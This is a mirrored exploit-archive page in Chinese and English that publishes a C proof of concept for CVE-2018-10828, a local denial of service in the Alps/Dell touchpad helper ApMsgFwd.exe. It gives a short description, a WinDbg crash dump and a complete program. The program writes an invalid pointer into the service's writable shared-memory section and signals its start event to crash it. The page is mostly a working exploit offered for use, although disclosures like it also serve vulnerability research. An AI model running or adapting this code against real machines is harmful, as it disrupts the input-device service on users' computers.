首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
Dell Touchpad - 'ApMsgFwd.exe' Denial of Service
来源:vfocus.net 作者:Hammou 发布时间:2018-05-11  
/*
Title: Dell Touchpad - ApMsgFwd.exe Denial Of Service
Author: Souhail Hammou
Vendor Homepage: https://www.alps.com/
Tested on : Alps Pointing-device Driver 10.1.101.207
CVE: CVE-2018-10828
*/
 
#include <stdio.h>
#include <stdlib.h>
#include <windows.h>
 
/*
Details:
==========
ApMsgFwd.exe belonging to Dell Touchpad, ALPS Touchpad driver, ALPS pointing-device for VAIO, Thinkpad Ultranav Driver ..etc
allows the current user to map and write to the "ApMsgFwd File Mapping Object" section.
ApMsgFwd.exe uses the data written to the section as arguments to functions.
This causes a denial of service condition when invalid pointers are written to the mapped section.
 
The crash :
===========
(b88.aa0): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
KERNELBASE!MultiByteToWideChar+0x3d8:
00007ffc`06422e08 443830          cmp     byte ptr [rax],r14b ds:d05d05d0`5d05d05d=??
0:004> r
rax=d05d05d05d05d05d rbx=00000000000004e4 rcx=000000007fffffff
rdx=0000000000000000 rsi=00000000ffffffff rdi=d05d05d05d05d05d
rip=00007ffc06422e08 rsp=000000000272fae0 rbp=000000000272fb59
 r8=0000000000000000  r9=00000000ffffffff r10=0000000000000000
r11=000000000272fbc0 r12=00000000000001f4 r13=0000000000000000
r14=0000000000000000 r15=0000000000563e40
iopl=0         nv up ei pl zr na po nc
cs=0033  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00010246
KERNELBASE!MultiByteToWideChar+0x3d8:
00007ffc`06422e08 443830          cmp     byte ptr [rax],r14b ds:d05d05d0`5d05d05d=??
 
 
0:001> lm v m ApMsgFwd
Browse full module list
start             end                 module name
00000000`00400000 00000000`00415000   ApMsgFwd   (no symbols)
    Loaded symbol image file: C:\Program Files\DellTPad\ApMsgFwd.exe
    Image path: C:\Program Files\DellTPad\ApMsgFwd.exe
    Image name: ApMsgFwd.exe
    Browse all global symbols  functions  data
    Timestamp:        Tue Jul  1 09:03:05 2014 (53B27949)
    CheckSum:         00020F5D
    ImageSize:        00015000
    File version:     8.1.0.44
    Product version:  8.1.0.44
    File flags:       0 (Mask 3F)
    File OS:          40004 NT Win32
    File type:        1.0 App
    File date:        00000000.00000000
    Translations:     0411.04b0
    CompanyName:      Alps Electric Co., Ltd.
    ProductName:      ApMsgFwd
    InternalName:     ApMsgFwd
    OriginalFilename: ApMsgFwd.exe
    ProductVersion:   8, 1, 0, 44
    FileVersion:      8, 1, 0, 44
    PrivateBuild:     8, 1, 0, 44
    SpecialBuild:     8, 1, 0, 44
    FileDescription:  ApMsgFwd
    LegalCopyright:   Copyright (C) 2006-2014 Alps Electric Co., Ltd.
    LegalTrademarks:  Copyright (C) 2006-2014 Alps Electric Co., Ltd.
    Comments:         Copyright (C) 2006-2014 Alps Electric Co., Ltd.
*/
int main(int argc, char** argv)
{
    HANDLE ApMpHnd,StartEvtHnd,KeyHnd;
    PBYTE MappedBuf;
 
    if ( ! (ApMpHnd = OpenFileMappingA(FILE_MAP_WRITE,FALSE,"ApMsgFwd File Mapping Object") ) )
    {
        printf("OpenFileMapping Failed !\n");
        goto ret;
    }
 
    if ( ! ( MappedBuf = MapViewOfFile(ApMpHnd,FILE_MAP_WRITE,0,0,0x1A0) ) )
    {
        printf("MapViewOfFile Failed !\n");
        goto cleanup_0;
    }
 
    StartEvtHnd = OpenEventA(EVENT_MODIFY_STATE,FALSE,"ApMsgFwd Event Start");
 
    if ( ! StartEvtHnd )
    {
        printf("OpenEvent Failed !\n");
        goto cleanup_1;
    }
 
    ZeroMemory(MappedBuf,0x1A0);
    *MappedBuf = 9; //switch case 9
    *(DWORD*)(MappedBuf + 0x60) = 0x5D05D05D;
    *(DWORD*)(MappedBuf + 0x64) = 0xD05D05D0;
 
    /*Wake up the waiting thread*/
    SetEvent(StartEvtHnd);
    
    CloseHandle(StartEvtHnd);
cleanup_1:
    UnmapViewOfFile(MappedBuf);
cleanup_0:
    CloseHandle(ApMpHnd);
ret:
    return 0;
}
 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Yahoo! Messenger Webcam 8.1 Ac
·Apache 2.2.0 - 2.2.11 Remote e
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
·HT Editor File openning Stack
  相关文章
·Mantis manage_proj_page PHP Co
·EMC RecoverPoint 4.3 - 'Admin
·Microsoft Windows FxCop 12 XXE
·Allok Video Splitter 3.1.12.17
·FxCop 10/12 - XML External Ent
·GNU wget - Cookie Injection
·2345 Security Guard 3.7 - Deni
·FTPShell Client 6.7 - Buffer O
·Palo Alto Networks readSession
·PlaySMS import.php Code Execut
·PlaySMS sendfromfile.php Code
·WordPress Plugin User Role Edi
  推荐广告
CopyRight © 2002-2018 VFocuS.Net All Rights Reserved